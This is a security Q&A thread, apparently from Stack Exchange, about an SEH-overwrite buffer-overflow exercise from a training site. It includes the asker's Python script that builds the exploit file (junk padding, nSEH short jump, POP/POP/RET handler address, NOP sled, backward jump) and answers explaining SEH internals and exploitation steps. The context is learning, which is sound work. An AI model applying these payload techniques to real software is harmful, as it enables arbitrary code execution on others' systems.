2

I am trying to exploit this little program I found on opensecuritytraining.info. But, somehow, I am stuck at this point. What I did was to create a file which gets read from the program. Here is the code I am using for this:

#!/usr/bin/env python

import struct

mystring = b"\xCC"*1096# junk
nSEH = b"\xeb\x06\x90\x90"
SEH  = struct.pack("<L", 0x004011B6)
opcode = "\xe9\xdf\xf6\xff\xff"

mystring += nSEH + SEH + ("\x90"*16) + opcode
fileName='C:\hellothere.bin'

with open(fileName, 'wb') as fb:
    fb.write(bytearray(mystring))
fb.close()

So, I am stuck at this point where I am overriding the buffer with \xCC, But my question is, when I am placing another jump code where the CC's override the saved EIP register. Can I jump further backwards to where my shell code takes place ?

I mean in principle this should be possible for some tweaking or adjusting of the exploit code itself.

Any idea ?

exercise

5
  • This is a pure programming question. Try the ReverseEngineering.stackexchange.com forum? – schroeder Jun 30 '14 at 18:42
  • @schroeder okay i will to that. But i was not shure if the RE is the right place for this question – Dirk Jun 30 '14 at 19:01
  • maybe some op could migrate this question to RE if this is the wrong place for this topic? – Dirk Jun 30 '14 at 21:09
  • 3
    I'll just leave the Corelan tutorial link here for further reference. – Dmitry Janushkevich Jul 3 '14 at 11:51
  • Are you gaining execution via an SEH overwrite? It already looks like you've done pretty much the whole thing. If you want to jump further you can change nSEH to \xeb\xff, change your opcode to a bigger jump back. You could also put a second jump in your shellcode but I don't know why you would do that. – Fewmitz Jul 4 '14 at 18:21
8

As far as the screenshot depicts, I can say that you are on the right track. You have correctly, overwritten the Pointer to NextSEH and SE Handler.

Some explanation:

Exception Registration Record Structure

typedef struct _EXCEPTION_REGISTRATION_RECORD
{
   struct _EXCEPTION_REGISTRATION_RECORD *Next;
   PEXCEPTION_ROUTINE                     Handler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

Whenever a new function is called which has exception handling mechanism, the EXCEPTION_REGISTRATION_RECORD is added to the stack. Where *Next is the pointer to the Previous EXCEPTION_REGISTRATION_RECORD and Handler is the function pointer to the Exception handler.

The FS:0 register always points to the first EXCEPTION_REGISTRATION_RECORD. Once the EXCEPTION_REGISTRATION_RECORD is pushed on the stack, the FS:0 register will be set to point to the new EXCEPTION_REGISTRATION_RECORD and Next record will be set to point to the previous value of FS:0 register. This will maintain the link list of the SEH chains.

ExceptionHandler Structure

typedef EXCEPTION_DISPOSITION (*ExceptionHandler) (
    IN PEXCEPTION_RECORD ExceptionRecord,
    IN ULONG64 EstablisherFrame,
    IN OUT PCONTEXT ContextRecord,
    IN OUT PDISPATCHER_CONTEXT DispatcherContext
);

When an exception occurs, System Exception Dispatcher routine kicks in and it's sets up it's own stack frame. The structure of the ExceptionHandler is pushed to the stack.

In SEH overwrite scenario, an attacker is lucky because, System Exception Dispatcher routine places the EstablisherFrame value on the stack at [ESP+8] before this ExceptionHandler function is called.

EstablisherFrame is the pointer to the NextSEH record. An attacker is able to control it by overwriting NextSEH record with arbitrary memory address.

Note: Attacker has not overwritten the EstablisherFrame. However, the attacker has overwritten NextSEH pointer which was there on the stack.

Once, you pass the exception System Exception Dispatcher passes the control to the SE handler and the exception handling code is executed.

Exploitation Tactics:

  1. Attacker will overwrite the NextSEH with Backward Jump and the SE Handler with the address of POP/POP/RET sequence.
  2. Once the exception occurs, the address of NextSEH will be placed on the stack at [ESP+8] due to exception dispatch routine prologue.
  3. Once the exception is passed, the exception dispatcher routine will pass the control to SE Handler.
  4. SE Handler will execute the POP/POP/RET sequence and will POP the address of NextSEH in EIP. Hence, gaining code execution.

Please accept my apologies if there are mistakes in the answer, and please help to improve the answer so that it's useful to the community members.

Thanks.

1
  • As far as my knowledge is about SEH explotation, i would agree with your answer. Maybe there are some details i have overlooked, but to me it seems correct :) – Dirk Jul 3 '14 at 11:30
3

Yes, you can simply jump backwards. Control flow should reach your NOP pad, you can code your trampoline in there.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.